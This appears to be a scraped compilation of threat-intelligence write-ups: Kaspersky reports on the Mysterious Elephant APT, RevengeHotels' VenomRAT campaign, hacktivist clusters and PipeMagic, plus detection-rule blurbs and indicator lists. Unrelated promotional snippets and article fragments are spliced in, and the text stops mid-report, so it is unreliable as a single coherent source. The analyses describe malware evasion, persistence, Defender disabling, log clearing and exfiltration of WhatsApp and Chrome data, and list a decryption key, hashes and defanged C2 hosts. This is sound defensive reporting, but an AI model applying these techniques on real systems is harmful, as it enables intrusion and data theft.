This rule detects an attempt at system persistence via the COM object hijacking technique, which exploits peculiarities in the Windows COM component resolution process. This feature allows malicious actors to create custom CLSID entries in the user-specific registry branch, thereby overriding legitimate system components. When the system attempts to instantiate the corresponding COM object, the malicious payload executes instead of the original code.

cve_exploit_detected
This generic rule is designed to detect attempts by malicious actors to exploit various vulnerabilities. Its logic is based on analyzing a broad set of characteristic patterns that reflect typical exploitation behavior.

Folder with modules
The folder containing the modules is located in %LocalAppData%, and is named with an eight-byte Base64 string. It contains files without extensions whose names are also Base64 strings that are eight bytes long. One of the files has the same name as the folder. This information can be used to identify an active infection.

Loader
7d3a30dbf4fd3edaf4dde35ccb5cf926
3650c1ac97bd5674e1e3bfa9b26008644edacfed
2e39800df1cafbebfa22b437744d80f1b38111b471fa3eb42f2214a5ac7e1f13

LeetAgent
33bb0678af6011481845d7ce9643cedc
8390e2ebdd0db5d1a950b2c9984a5f429805d48c
388a8af43039f5f16a0673a6e342fa6ae2402e63ba7569d20d9ba4894dc0ba59

Dante
35869e8760928407d2789c7f115b7f83
c25275228c6da54cf578fa72c9f49697e5309694
07d272b607f082305ce7b1987bfa17dc967ab45c8cd89699bcdced34ea94e126

Trend™ Research examines the complex collaborative relationship between China-aligned APT groups via the new “Premier Pass-as-a-Service” model, exemplified by the recent activities of Earth Estries and Earth Naga.

Introduction

Mysterious Elephant is a highly active advanced persistent threat (APT) group that we at Kaspersky GReAT discovered in 2023. It has been consistently evolving and adapting its tactics, techniques, and procedures (TTPs) to stay under the radar. With a primary focus on targeting government entities and foreign affairs sectors in the Asia-Pacific region, the group has been using a range of sophisticated tools and techniques to infiltrate and exfiltrate sensitive information. Notably, Mysterious Elephant has been exploiting WhatsApp communications to steal sensitive data, including documents, pictures, and archive files.

The group’s latest campaign, which began in early 2025, reveals a significant shift in their TTPs, with an increased emphasis on using new custom-made tools as well as customized open-source tools, such as BabShell and MemLoader modules, to achieve their objectives. In this report, we will delve into the history of Mysterious Elephant’s attacks, their latest tactics and techniques, and provide a comprehensive understanding of this threat.

Additional information about this threat is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

The emergence of Mysterious Elephant

Mysterious Elephant is a threat actor we’ve been tracking since 2023. Initially, its intrusions resembled those of the Confucius threat actor. However, further analysis revealed a more complex picture. We found that Mysterious Elephant’s malware contained code from multiple APT groups, including Origami Elephant, Confucius, and SideWinder, which suggested deep collaboration and resource sharing between teams. Notably, our research indicates that the tools and code borrowed from the aforementioned APT groups were previously used by their original developers, but have since been abandoned or replaced by newer versions. However, Mysterious Elephant has not only adopted these tools, but also continued to maintain, develop, and improve them, incorporating the code into their own operations and creating new, advanced versions. The actor’s early attack chains featured distinctive elements, such as remote template injections and exploitation of CVE-2017-11882, followed by the use of a downloader called “Vtyrei”, which was previously connected to Origami Elephant and later abandoned by this group. Over time, Mysterious Elephant has continued to upgrade its tools and expanded its operations, eventually earning its designation as a previously unidentified threat actor.

Latest campaign

The group’s latest campaign, which was discovered in early 2025, reveals a significant shift in their TTPs. They are now using a combination of exploit kits, phishing emails, and malicious documents to gain initial access to their targets. Once inside, they deploy a range of custom-made and open-source tools to achieve their objectives. In the following sections, we’ll delve into the latest tactics and techniques used by Mysterious Elephant, including their new tools, infrastructure, and victimology.

Spear phishing

Mysterious Elephant has started using spear phishing techniques to gain initial access. Phishing emails are tailored to each victim and are convincingly designed to mimic legitimate correspondence. The primary targets of this APT group are countries in the South Asia (SA) region, particularly Pakistan. Notably, this APT organization shows a strong interest and inclination towards diplomatic institutions, which is reflected in the themes covered by the threat actor’s spear phishing emails, as seen in bait attachments.

For example, the decoy document above concerns Pakistan’s application for a non-permanent seat on the United Nations Security Council for the 2025–2026 term.

Malicious tools

Mysterious Elephant’s toolkit is a noteworthy aspect of their operations. The group has switched to using a variety of custom-made and open-source tools instead of employing known malware to achieve their objectives.

PowerShell scripts

The threat actor uses PowerShell scripts to execute commands, deploy additional payloads, and establish persistence. These scripts are loaded from C2 servers and often use legitimate system administration tools, such as curl and certutil, to download and execute malicious files.

For example, the script above is used to download the next-stage payload and save it as ping.exe. It then schedules a task to execute the payload and send the results back to the C2 server. The task is set to run automatically in response to changes in the network profile, ensuring persistence on the compromised system. Specifically, it is triggered by network profile-related events (Microsoft-Windows-NetworkProfile/Operational), which can indicate a new network connection. A four-hour delay is configured after the event, likely to help evade detection.

BabShell

One of the most recent tools used by Mysterious Elephant is BabShell. This is a reverse shell tool written in C++ that enables attackers to connect to a compromised system. Upon execution, it gathers system information, including username, computer name, and MAC address, to identify the machine. The malware then enters an infinite loop of performing the following steps:

1. It listens for and receives commands from the attacker-controlled C2 server.
2. For each received command, BabShell creates a separate thread to execute it, allowing for concurrent execution of multiple commands.
3. The output of each command is captured and saved to a file named output_[timestamp].txt, where [timestamp] is the current time. This allows the attacker to review the results of the commands.
4. The contents of the output_[timestamp].txt file are then transmitted back to the C2 server, providing the attacker with the outcome of the executed commands and enabling them to take further actions, for instance, deploy a next-stage payload or execute additional malicious instructions.

BabShell uses the following commands to execute command-line instructions and additional payloads it receives from the server:

Customized open-source tools

One of the latest modules used by Mysterious Elephant and loaded by BabShell is MemLoader HidenDesk.

MemLoader HidenDesk is a reflective PE loader that loads and executes malicious payloads in memory. It uses encryption and compression to evade detection.

MemLoader HidenDesk operates in the following manner:

1. The malware checks the number of active processes and terminates itself if there are fewer than 40 processes running — a technique used to evade sandbox analysis.
2. It creates a shortcut to its executable and saves it in the autostart folder, ensuring it can restart itself after a system reboot.
3. The malware then creates a hidden desktop named “MalwareTech_Hidden” and switches to it, providing a covert environment for its activities. This technique is borrowed from an open-source project on GitHub.
4. Using an RC4-like algorithm with the key D12Q4GXl1SmaZv3hKEzdAhvdBkpWpwcmSpcD, the malware decrypts a block of data from its own binary and executes it in memory as a shellcode. The shellcode’s sole purpose is to load and execute a PE file, specifically a sample of the commercial RAT called “Remcos” (MD5: 037b2f6233ccc82f0c75bf56c47742bb).

Another recent loader malware used in the latest campaign is MemLoader Edge.

MemLoader Edge is a malicious loader that embeds a sample of the VRat backdoor, utilizing encryption and evasion techniques.

It operates in the following manner:

1. The malware performs a network connectivity test by attempting to connect to the legitimate website bing.com:445, which is likely to fail since the 445 port is not open on the server side. If the test were to succeed, suggesting that the loader is possibly in an emulation or sandbox environment, the malware would drop an embedded picture on the machine and display a popup window with three unresponsive mocked-up buttons, then enter an infinite loop. This is done to complicate detection and analysis.
2. If the connection attempt fails, the malware iterates through a 1016-byte array to find the correct XOR keys for decrypting the embedded PE file in two rounds. The process continues until the decrypted data matches the byte sequence of MZ\x90, indicating that the real XOR keys are found within the array.
3. If the malware is unable to find the correct XOR keys, it will display the same picture and popup window as before, followed by a message box containing an error message after the window is closed.
4. Once the PE file is successfully decrypted, it is loaded into memory using reflective loading techniques. The decrypted PE file is based on the open-source RAT vxRat, which is referred to as VRat due to the PDB string found in the sample:
   

   C:\Users\admin\source\repos\vRat_Client\Release\vRat_Client.pdb

WhatsApp-specific exfiltration tools

Spying on WhatsApp communications is a key aspect of the exfiltration modules employed by Mysterious Elephant. They are designed to steal sensitive data from compromised systems. The attackers have implemented WhatsApp-specific features into their exfiltration tools, allowing them to target files shared through the WhatsApp application and exfiltrate valuable information, including documents, pictures, archive files, and more. These modules employ various techniques, such as recursive directory traversal, XOR decryption, and Base64 encoding, to evade detection and upload the stolen data to the attackers’ C2 servers.

• Uplo Exfiltrator

The Uplo Exfiltrator is a data exfiltration tool that targets specific file types and uploads them to the attackers’ C2 servers. It uses a simple XOR decryption to deobfuscate C2 domain paths and employs a recursive depth-first directory traversal algorithm to identify valuable files. The malware specifically targets file types that are likely to contain potentially sensitive data, including documents, spreadsheets, presentations, archives, certificates, contacts, and images. The targeted file extensions include .TXT, .DOC, .DOCX, .PDF, .XLS, .XLSX, .CSV, .PPT, .PPTX, .ZIP, .RAR, .7Z, .PFX, .VCF, .JPG, .JPEG, and .AXX.

• Stom Exfiltrator

The Stom Exfiltrator is a commonly used exfiltration tool that recursively searches specific directories, including the “Desktop” and “Downloads” folders, as well as all drives except the C drive, to collect files with predefined extensions. Its latest variant is specifically designed to target files shared through the WhatsApp application. This version uses a hardcoded folder path to locate and exfiltrate such files:

%AppData%\\Packages\\xxxxx.WhatsAppDesktop_[WhatsApp ID]\\LocalState\\Shared\\transfers\\

The targeted file extensions include .PDF, .DOCX, .TXT, .JPG, .PNG, .ZIP, .RAR, .PPTX, .DOC, .XLS, .XLSX, .PST, and .OST.

• ChromeStealer Exfiltrator

The ChromeStealer Exfiltrator is another exfiltration tool used by Mysterious Elephant that targets Google Chrome browser data, including cookies, tokens, and other sensitive information. It searches specific directories within the Chrome user data of the most recently used Google Chrome profile, including the IndexedDB directory and the “Local Storage” directory. The malware uploads all files found in these directories to the attacker-controlled C2 server, potentially exposing sensitive data like chat logs, contacts, and authentication tokens. The response from the C2 server suggests that this tool was also after stealing files related to WhatsApp. The ChromeStealer Exfiltrator employs string obfuscation to evade detection.

Infrastructure

Mysterious Elephant’s infrastructure is a network of domains and IP addresses. The group has been using a range of techniques, including wildcard DNS records, to generate unique domain names for each request. This makes it challenging for security researchers to track and monitor their activities. The attackers have also been using virtual private servers (VPS) and cloud services to host their infrastructure. This allows them to easily scale and adapt their operations to evade detection. According to our data, this APT group has utilized the services of numerous VPS providers in their operations. Nevertheless, our analysis of the statistics has revealed that Mysterious Elephant appears to have a preference for certain VPS providers.

VPS providers most commonly used by Mysterious Elephant (download)

Victimology

Mysterious Elephant’s primary targets are government entities and foreign affairs sectors in the Asia-Pacific region. The group has been focusing on Pakistan, Bangladesh, and Sri Lanka, with a lower number of victims in other countries. The attackers have been using highly customized payloads tailored to specific individuals, highlighting their sophistication and focus on targeted attacks.

The group’s victimology is characterized by a high degree of specificity. Attackers often use personalized phishing emails and malicious documents to gain initial access. Once inside, they employ a range of tools and techniques to escalate privileges, move laterally, and exfiltrate sensitive information.

• Most targeted countries: Pakistan, Bangladesh, Afghanistan, Nepal and Sri Lanka

Countries targeted most often by Mysterious Elephant (download)

• Primary targets: government entities and foreign affairs sectors

Industries most targeted by Mysterious Elephant (download)

Conclusion

In conclusion, Mysterious Elephant is a highly sophisticated and active Advanced Persistent Threat group that poses a significant threat to government entities and foreign affairs sectors in the Asia-Pacific region. Through their continuous evolution and adaptation of tactics, techniques, and procedures, the group has demonstrated the ability to evade detection and infiltrate sensitive systems. The use of custom-made and open-source tools, such as BabShell and MemLoader, highlights their technical expertise and willingness to invest in developing advanced malware.

The group’s focus on targeting specific organizations, combined with their ability to tailor their attacks to specific victims, underscores the severity of the threat they pose. The exfiltration of sensitive information, including documents, pictures, and archive files, can have significant consequences for national security and global stability.

To counter the Mysterious Elephant threat, it is essential for organizations to implement robust security measures, including regular software updates, network monitoring, and employee training. Additionally, international cooperation and information sharing among cybersecurity professionals, governments, and industries are crucial in tracking and disrupting the group’s activities.

Ultimately, staying ahead of Mysterious Elephant and other APT groups requires a proactive and collaborative approach to cybersecurity. By understanding their TTPs, sharing threat intelligence, and implementing effective countermeasures, we can reduce the risk of successful attacks and protect sensitive information from falling into the wrong hands.

Indicators of compromise

More IoCs are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

File hashes

Malicious documents
c12ea05baf94ef6f0ea73470d70db3b2 M6XA.rar
8650fff81d597e1a3406baf3bb87297f 2025-013-PAK-MoD-Invitation_the_UN_Peacekeeping.rar

MemLoader HidenDesk
658eed7fcb6794634bbdd7f272fcf9c6 STI.dll
4c32e12e73be9979ede3f8fce4f41a3a STI.dll

MemLoader Edge
3caaf05b2e173663f359f27802f10139 Edge.exe, debugger.exe, runtime.exe
bc0fc851268afdf0f63c97473825ff75

BabShell
85c7f209a8fa47285f08b09b3868c2a1
f947ff7fb94fa35a532f8a7d99181cf1

Uplo Exfiltrator
cf1d14e59c38695d87d85af76db9a861 SXSHARED.dll

Stom Exfiltrator
ff1417e8e208cadd55bf066f28821d94
7ee45b465dcc1ac281378c973ae4c6a0 ping.exe
b63316223e952a3a51389a623eb283b6 ping.exe
e525da087466ef77385a06d969f06c81
78b59ea529a7bddb3d63fcbe0fe7af94

ChromeStealer Exfiltrator
9e50adb6107067ff0bab73307f5499b6 WhatsAppOB.exe

Domains/IPs

hxxps://storycentral[.]net
hxxp://listofexoticplaces[.]com
hxxps://monsoonconference[.]com
hxxp://mediumblog[.]online:4443
hxxp://cloud.givensolutions[.]online:4443
hxxp://cloud.qunetcentre[.]org:443
solutions.fuzzy-network[.]tech
pdfplugins[.]com
file-share.officeweb[.]live
fileshare-avp.ddns[.]net
91.132.95[.]148
62.106.66[.]80
158.255.215[.]45

Discover how Trend Vision One™ integrates with Zscaler to unify detection and access enforcement, accelerate threat containment, reduce dwell time, and deliver seamless Zero Trust protection for modern enterprises.

Learn the state of AI and the NPM ecosystem with the recent s1ngularity' weaponized AI for credential theft.

Background

RevengeHotels, also known as TA558, is a threat group that has been active since 2015, stealing credit card data from hotel guests and travelers. RevengeHotels’ modus operandi involves sending emails with phishing links which redirect victims to websites mimicking document storage. These sites, in turn, download script files to ultimately infect the targeted machines. The final payloads consist of various remote access Trojan (RAT) implants, which enable the threat actor to issue commands for controlling compromised systems, stealing sensitive data, and maintaining persistence, among other malicious activities.

In previous campaigns, the group was observed using malicious emails with Word, Excel, or PDF documents attached. Some of them exploited the CVE-2017-0199 vulnerability, loading Visual Basic Scripting (VBS), or PowerShell scripts to install customized versions of different RAT families, such as RevengeRAT, NanoCoreRAT, NjRAT, 888 RAT, and custom malware named ProCC. These campaigns affected hotels in multiple countries across Latin America, including Brazil, Argentina, Chile, and Mexico, but also hotel front-desks globally, particularly in Russia, Belarus, Turkey, and so on.

Later, this threat group expanded its arsenal by adding XWorm, a RAT with commands for control, data theft, and persistence, amongst other things. While investigating the campaign that distributed XWorm, we identified high-confidence indicators that RevengeHotels also used the RAT tool named DesckVBRAT in their operations.

In the summer of 2025, we observed new campaigns targeting the same sector and featuring increasingly sophisticated implants and tools. The threat actors continue to employ phishing emails with invoice themes to deliver VenomRAT implants via JavaScript loaders and PowerShell downloaders. A significant portion of the initial infector and downloader code in this campaign appears to be generated by large language model (LLM) agents. This suggests that the threat actor is now leveraging AI to evolve its capabilities, a trend also reported among other cybercriminal groups.

The primary targets of these campaigns are Brazilian hotels, although we have also observed attacks directed at Spanish-speaking markets. Through a comprehensive analysis of the attack patterns and the threat actor’s modus operandi, we have established with high confidence that the responsible actor is indeed RevengeHotels. The consistency of the tactics, techniques, and procedures (TTPs) employed in these attacks aligns with the known behavior of RevengeHotels. The infrastructure used for payload delivery relies on legitimate hosting services, often utilizing Portuguese-themed domain names.

Initial infection

The primary attack vector employed by RevengeHotels is phishing emails with invoicing themes, which urge the recipient to settle overdue payments. These emails are specifically targeted at email addresses associated with hotel reservations. While Portuguese is a common language used in these phishing emails, we have also discovered instances of Spanish-language phishing emails, indicating that the threat actor’s scope extends beyond Brazilian hospitality establishments and may include targets in Spanish-speaking countries or regions.

In recent instances of these attacks, the themes have shifted from hotel reservations to fake job applications, where attackers sent résumés in an attempt to exploit potential job opportunities at the targeted hotels.

Malicious implant

The malicious websites, which change with each email, download a WScript JS file upon being visited, triggering the infection process. The filename of the JS file changes with every request. In the case at hand, we analyzed Fat146571.js (fbadfff7b61d820e3632a2f464079e8c), which follows the format Fat\{NUMBER\}.js, where “Fat” is the beginning of the Portuguese word “fatura”, meaning “invoice”.

The script appears to be generated by a large language model (LLM), as evidenced by its heavily commented code and a format similar to those produced by this type of technology. The primary function of the script is to load subsequent scripts that facilitate the infection.

A significant portion of the new generation of initial infectors created by RevengeHotels contains code that seems to have been generated by AI. These LLM-generated code segments can be distinguished from the original malicious code by several characteristics, including:

• The cleanliness and organization of the code
• Placeholders, which allow the threat actor to insert their own variables or content
• Detailed comments that accompany almost every action within the code
• A notable lack of obfuscation, which sets these LLM-generated sections apart from the rest of the code

Second loading step

Upon execution, the loader script, Fat\{NUMBER\}.js, decodes an obfuscated and encoded buffer, which serves as the next step in loading the remaining malicious implants. This buffer is then saved to a PowerShell (PS1) file named SGDoHBZQWpLKXCAoTHXdBGlnQJLZCGBOVGLH_{TIMESTAMP}.ps1 (d5f241dee73cffe51897c15f36b713cc), where “\{TIMESTAMP\}” is a generated number based on the current execution date and time. This ensures that the filename changes with each infection and is not persistent. Once the script is saved, it is executed three times, after which the loader script exits.

The script SGDoHBZQWpLKXCAoTHXdBGlnQJLZCGBOVGLH_{TIMESTAMP}.ps1 runs a PowerShell command with Base64-encoded code. This code retrieves the cargajecerrr.txt (b1a5dc66f40a38d807ec8350ae89d1e4) file from a remote malicious server and invokes it as PowerShell.

This downloader, which is lightly obfuscated, is responsible for fetching the remaining files from the malicious server and loading them. Both downloaded files are Base64-encoded and have descriptive names: venumentrada.txt (607f64b56bb3b94ee0009471f1fe9a3c), which can be interpreted as “VenomRAT entry point”, and runpe.txt (dbf5afa377e3e761622e5f21af1f09e6), which is named after a malicious tool for in-memory execution. The first file, venumentrada.txt, is a heavily obfuscated loader (MD5 of the decoded file: 91454a68ca3a6ce7cb30c9264a88c0dc) that ensures the second file, a VenomRAT implant (3ac65326f598ee9930031c17ce158d3d), is correctly executed in memory.

The malicious code also exhibits characteristics consistent with generation by an AI interface, including a coherent code structure, detailed commenting, and explicit variable naming. Moreover, it differs significantly from previous samples, which had a structurally different, more obfuscated nature and lacked comments.

Exploring VenomRAT

VenomRAT, an evolution of the open-source QuasarRAT, was first discovered in mid-2020 and is offered on the dark web, with a lifetime license costing up to $650. Although the source code of VenomRAT was leaked, it is still being sold and used by threat actors.

According to the vendor’s website, VenomRAT offers a range of capabilities that build upon and expand those of QuasarRAT, including HVNC hidden desktop, file grabber and stealer, reverse proxy, and UAC exploit, amongst others.

As with other RATs, VenomRAT clients are generated with custom configurations. The configuration data within the implant (similar to QuasarRAT) is encrypted using AES and PKCS #5 v2.0, with two keys employed: one for decrypting the data and another for verifying its authenticity using HMAC-SHA256. Throughout the malware code, different sets of keys and initialization vectors are used sporadically, but they consistently implement the same AES algorithm.

Anti-kill

It is notable that VenomRAT features an anti-kill protection mechanism, which can be enabled by the threat actor upon execution. Initially, the RAT calls a function named EnableProtection, which retrieves the security descriptor of the malicious process and modifies the Discretionary Access Control List (DACL) to remove any permissions that could hinder the RAT’s proper functioning or shorten its lifespan on the system.

The second component of this anti-kill measure involves a thread that runs a continuous loop, checking the list of running processes every 50 milliseconds. The loop specifically targets those processes commonly used by security analysts and system administrators to monitor host activity or analyze .NET binaries, among other tasks. If the RAT detects any of these processes, it will terminate them without prompting the user.

The anti-kill measure also involves persistence, which is achieved through two mechanisms written into a VBS file generated and executed by VenomRAT. These mechanisms ensure the malware’s continued presence on the system:

1. Windows Registry: The script creates a new key under HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce, pointing to the executable path. This allows the malware to persist across user sessions.
2. Process: The script runs a loop that checks for the presence of the malware process in the process list. If it is not found, the script executes the malware again.

If the user who executed the malware has administrator privileges, the malware takes additional steps to ensure its persistence. It sets the SeDebugPrivilege token, enabling it to use the RtlSetProcessIsCritical function to mark itself as a critical system process. This makes the process “essential” to the system, allowing it to persist even when termination is attempted. However, when the administrator logs off or the computer is about to shut down, VenomRAT removes its critical mark to permit the system to proceed with these actions.

As a final measure to maintain persistence, the RAT calls the SetThreadExecutionState function with a set of flags that forces the display to remain on and the system to stay in a working state. This prevents the system from entering sleep mode.

Separately from the anti-kill methods, the malware also includes a protection mechanism against Windows Defender. In this case, the RAT actively searches for MSASCui.exe in the process list and terminates it. The malware then modifies the task scheduler and registry to disable Windows Defender globally, along with its various features.

Networking

VenomRAT employs a custom packet building and serialization mechanism for its networking connection to the C2 server. Each packet is tailored to a specific action taken by the RAT, with a dedicated packet handler for each action. The packets transmitted to the C2 server undergo a multi-step process:

1. The packet is first serialized to prepare it for transmission.
2. The serialized packet is then compressed using LZMA compression to reduce its size.
3. The compressed packet is encrypted using AES-128 encryption, utilizing the same key and authentication key mentioned earlier.

Upon receiving packets from the C2 server, VenomRAT reverses this process to decrypt and extract the contents.

Additionally, VenomRAT implements tunneling by installing ngrok on the infected computer. The C2 server specifies the token, protocol, and port for the tunnel, which are sent in the serialized packet. This allows remote control services like RDP and VNC to operate through the tunnel and to be exposed to the internet.

USB spreading

VenomRAT also possesses the capability to spread via USB drives. To achieve this, it scans drive letters from C to M and checks if each drive is removable. If a removable drive is detected, the RAT copies itself to all available drives under the name My Pictures.exe.

Extra stealth steps

In addition to copying itself to another directory and changing its executable name, VenomRAT employs several stealth techniques that distinguish it from QuasarRAT. Two notable examples include:

• Deletion of Zone.Identifier streams: VenomRAT deletes the Mark of the Web streams, which contain metadata about the URL from which the executable was downloaded. By removing this information, the RAT can evade detection by security tools like Windows Defender and avoid being quarantined, while also eliminating its digital footprint.
• Clearing Windows event logs: The malware clears all Windows event logs on the compromised system, effectively creating a “clean slate” for its operations. This action ensures that any events generated during the RAT’s execution are erased, making it more challenging for security analysts to detect and track its activities.

Victimology

The primary targets of RevengeHotels attacks continue to be hotels and front desks, with a focus on establishments located in Brazil. However, the threat actors have been adapting their tactics, and phishing emails are now being sent in languages other than Portuguese. Specifically, we’ve observed that emails in Spanish are being used to target hotels and tourism companies in Spanish-speaking countries, indicating a potential expansion of the threat actor’s scope. Note that among earlier victims of this threat are such Spanish-speaking countries as Argentina, Bolivia, Chile, Costa Rica, Mexico, and Spain.

It is important to point out that previously reported campaigns have mentioned the threat actor targeting hotel front desks globally, particularly in Russia, Belarus, and Turkey, although no such activity has yet been detected during the latest RevengeHotels campaign.

Conclusions

RevengeHotels has significantly enhanced its capabilities, developing new tactics to target the hospitality and tourism sectors. With the assistance of LLM agents, the group has been able to generate and modify their phishing lures, expanding their attacks to new regions. The websites used for these attacks are constantly rotating, and the initial payloads are continually changing, but the ultimate objective remains the same: to deploy a remote access Trojan (RAT). In this case, the RAT in question is VenomRAT, a privately developed variant of the open-source QuasarRAT.

Kaspersky products detect these threats as HEUR:Trojan-Downloader.Script.Agent.gen, HEUR:Trojan.Win32.Generic, HEUR:Trojan.MSIL.Agent.gen, Trojan-Downloader.PowerShell.Agent.ady, Trojan.PowerShell.Agent.aqx.

Indicators of compromise

fbadfff7b61d820e3632a2f464079e8c Fat146571.js
d5f241dee73cffe51897c15f36b713cc SGDoHBZQWpLKXCAoTHXdBGlnQJLZCGBOVGLH_{TIMESTAMP}.ps1
1077ea936033ee9e9bf444dafb55867c cargajecerrr.txt
b1a5dc66f40a38d807ec8350ae89d1e4 cargajecerrr.txt
dbf5afa377e3e761622e5f21af1f09e6 runpe.txt
607f64b56bb3b94ee0009471f1fe9a3c venumentrada.txt
3ac65326f598ee9930031c17ce158d3d deobfuscated runpe.txt
91454a68ca3a6ce7cb30c9264a88c0dc deobfuscated venumentrada.txt

Hacktivism and geopolitically motivated APT groups have become a significant threat to many regions of the world in recent years, damaging infrastructure and important functions of government, business, and society. In late 2022 we predicted that the involvement of hacktivist groups in all major geopolitical conflicts from now on will only increase and this is what we’ve been observing throughout the years. With regard to the Ukrainian-Russian conflict, this has led to a sharp increase of activities carried out by groups that identify themselves as either pro-Ukrainian or pro-Russian.

The rise in cybercrime amid geopolitical tensions is alarming. Our Kaspersky Cyber Threat Intelligence team has been observing several geopolitically motivated threat actors and hacktivist groups operating in various conflict zones. Through collecting and analyzing extensive data on these groups’ tactics, techniques, and procedures (TTPs), we’ve discovered a concerning trend: hacktivists are increasingly interconnected with financially motivated groups. They share tools, infrastructure, and resources.

This collaboration has serious implications. Their campaigns may disrupt not only business operations but also ordinary citizens’ lives, affecting everything from banking services to personal data security or the functioning of the healthcare system. Moreover, monetized techniques can spread exponentially as profit-seeking actors worldwide replicate and refine them. We consider these technical findings a valuable resource for global cybersecurity efforts. In this report, we share observations on threat actors who identify themselves as pro-Ukrainian.

About this report

The main goal of this report is to provide technical evidence supporting the theory we’ve proposed based on our previous research: that most of the groups we describe here actively collaborate, effectively forming three major threat clusters.

This report includes:

• A library of threat groups, current as of 2025, with details on their main TTPs and tools.
• A technical description of signature tactics, techniques, procedures, and toolsets used by these groups. This information is intended for practical use by SOC, DFIR, CTI, and threat hunting professionals.

What this report covers

This report contains information on the current TTPs of hacktivists and APT groups targeting Russian organizations particularly in 2025, however they are not limited to Russia as a target. Further research showed that among some of the groups’ targets, such as CloudAtlas and XDSpy, were assets in European, Asian, and Middle Eastern countries. In particular, traces of infections were discovered in 2024 in Slovakia and Serbia. The report doesn’t include groups that emerged in 2025, as we didn’t have sufficient time to research their activity. We’ve divided all groups into three clusters based on their TTPs:

• Cluster I combines hacktivist and dual-purpose groups that use similar tactics, techniques, and tools. This cluster is characterized by:
• Shared infrastructure
• A unique software suite
• Identical processes, command lines, directories, and so on
• Distinctive TTPs
• Cluster II comprises APT groups that have different TTPs from the hacktivists. Among these, we can distinguish simple APTs (characterized by their use of third-party utilities, scripts that carry out all the malicious logic, shared domain registrars, and concealing their real infrastructure behind reverse proxy systems – for example, using Cloudflare services), and more sophisticated ones (distinguished by their unique TTPs).
• Cluster III includes hacktivist groups for which we’ve observed no signs of collaboration with other groups described here.

Example: Cyberthreat landscape in Russia in 2025

Hacktivism remains the key threat to Russian businesses and businesses in other conflict areas today, and the scale and complexity of these attacks keep growing. Traditionally, the term “hacktivism” refers to a blend of hacking and activism, where attackers use their skills to achieve social or political goals. Over the past few years, these threat actors have become more experienced and organized, collaborating with one another and sharing knowledge and tools to achieve common objectives.

Additionally, a new phenomenon known as “dual-purpose groups” has appeared in the Russian threat landscape in recent years. We’ve detected links between hacktivists and financially motivated groups. They use the same tools, techniques, and tactics, and even share common infrastructure and resources. Depending on the victim, they may pursue a variety of goals: demanding a ransom to decrypt data, causing irreparable damage, or leaking stolen data to the media. This suggests that these attackers belong to a single complex cluster.

Beyond this, “traditional” categories of attackers continue to operate in Russia and other regions: groups engaged in cyberespionage and purely financially motivated threat actors also remain a significant problem. Like other groups, geopolitically motivated groups are cybercriminals who undermine the secure and trustworthy use of digitalization opportunities and they can change and adapt their target regions depending on political developments.

That is why it is important to also be aware of the TTPs used by threat actors who appear to be attacking other targets. We will continue to monitor geopolitically motivated threat actors and publish technical reports about their TTPs.

Recommendations

To defend against the threats described in this report, Kaspersky experts recommend the following:

• Provide your SOC teams with access to up-to-date information on the latest attacker tactics, techniques, and procedures (TTPs). Threat intelligence feeds from reliable providers, like Kaspersky Threat Intelligence, can help with this.
• Use a comprehensive security solution that combines centralized monitoring and analysis, advanced threat detection and response, and security incident investigation tools. The Kaspersky NEXT XDR platform provides this functionality and is suitable for medium and large businesses in any industry.
• Protect every component of modern and legacy industrial automation systems with specialized OT security solutions. Kaspersky Industrial CyberSecurity (KICS) — an XDR-class platform — ensures reliable protection for critical infrastructure in energy, manufacturing, mining, and transportation.
• Conduct regular security awareness training for employees to reduce the likelihood of successful phishing and other social engineering attacks. Kaspersky Automated Security Awareness Platform is a good option for this.

The report is available for our partners and customers. If you are interested, please contact report@kaspersky.com

An analysis of the Gentlemen ransomware group, which employs advanced, adaptive tactics, techniques, and procedure to target critical industries worldwide.

Stay ahead of evolving threats with AI-powered email and collaboration security.

The TAOTH campaign exploited abandoned software and spear-phishing to deploy multiple malware families, targeting dissidents and other high-value individuals across Eastern Asia.

In April 2025, Microsoft patched 121 vulnerabilities in its products. According to the company, only one of them was being used in real-world attacks at the time the patch was released: CVE-2025-29824. The exploit for this vulnerability was executed by the PipeMagic malware, which we first discovered in December 2022 in a RansomExx ransomware campaign. In September 2024, we encountered it again in attacks on organizations in the Middle East. Notably, it was the same version of PipeMagic as in 2022. We continue to track the malware’s activity. Most recently, in 2025 our solutions prevented PipeMagic infections at organizations in Brazil and the Middle East.

This report is the result of a joint investigation with the head of vulnerability research group at BI.ZONE, in which we traced the evolution of PipeMagic – from its first detection in 2022 to new incidents in 2025 – and identified key changes in its operators’ tactics. Our colleagues at BI.ZONE, in turn, conducted a technical analysis of the CVE-2025-29824 vulnerability itself.

Background

PipeMagic is a backdoor we first detected in December 2022 while investigating a malicious campaign involving RansomExx. The victims were industrial companies in Southeast Asia. To penetrate the infrastructure, the attackers exploited the CVE-2017-0144 vulnerability. The backdoor’s loader was a trojanized version of Rufus, a utility for formatting USB drives. PipeMagic supported two modes of operation – as a full-fledged backdoor providing remote access, and as a network gateway – and enabled the execution of a wide range of commands.

In October 2024, organizations in the Middle East were hit by a new wave of PipeMagic attacks. This time, rather than exploiting vulnerabilities for the initial penetration, the attackers used a fake ChatGPT client application as bait. The fake app was written in Rust, using two frameworks: Tauri for rendering graphical applications and Tokio for asynchronous task execution. However, it had no user functionality – when launched, it simply displayed a blank screen.

MD5	60988c99fb58d346c9a6492b9f3a67f7
File name	chatgpt.exe

At the same time, the application extracted a 105,615-byte AES-encrypted array from its code, decrypted it, and executed it. The result was a shellcode loading an executable file. To hinder analysis, the attackers hashed API functions using the FNV-1a algorithm, with the shellcode dynamically resolving their addresses via GetProcAddress. Next, memory was allocated, necessary offsets in the import table were relocated, and finally, the backdoor’s entry point was called.

One unique feature of PipeMagic is that it generates a random 16-byte array used to create a named pipe formatted as: \\.\pipe\1.<hex string>. After that, a thread is launched that continuously creates this pipe, attempts to read data from it, and then destroys it. This communication method is necessary for the backdoor to transmit encrypted payloads and notifications. Meanwhile, the standard network interface with the IP address 127.0.0.1:8082 is used to interact with the named pipe.

To download modules (PipeMagic typically uses several plugins downloaded from the C2 server), attackers used a domain hosted on the Microsoft Azure cloud provider, with the following name: hxxp://aaaaabbbbbbb.eastus.cloudapp.azure[.]com.

PipeMagic in 2025

